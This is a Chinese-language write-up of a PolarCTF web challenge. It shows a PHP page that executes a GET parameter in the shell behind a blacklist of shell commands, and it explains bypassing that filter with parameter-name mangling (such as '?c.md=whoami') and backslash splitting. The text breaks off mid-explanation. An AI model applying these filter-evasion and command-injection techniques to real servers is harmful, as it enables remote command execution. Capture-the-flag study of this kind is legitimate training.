【PolarCTF】rapyiquan

大方子2026-05-29 9:01

复制代码

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
# strpos(原始字符串, 要查找的字符, [开始查找的位置])
# 表示需要匹配到_
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}

if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

首先我们需要绕过checkUrlParams()函数，就是我们的url中不能出现_

但是GET用来传递的参数又是c_md那么我们就要想办法绕过

参数_符号的替代

我们可以使用下面3种情况来进行代替

复制代码

?c.md=whoami
?c[md=whoami
?c%20md=whoami

因为空格（%20）、点号、左方括号，在 PHP 解析 GET/POST 参数名时，会被自动换成下划线 _

使用\拆分命令绕过正则

接下来就是绕过正则表达式

复制代码

if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

这里我们可以使用\拆分技巧

在linux中有一个规则：

反斜杠 \ + 普通字符 = 普通字符

那么就是说

复制代码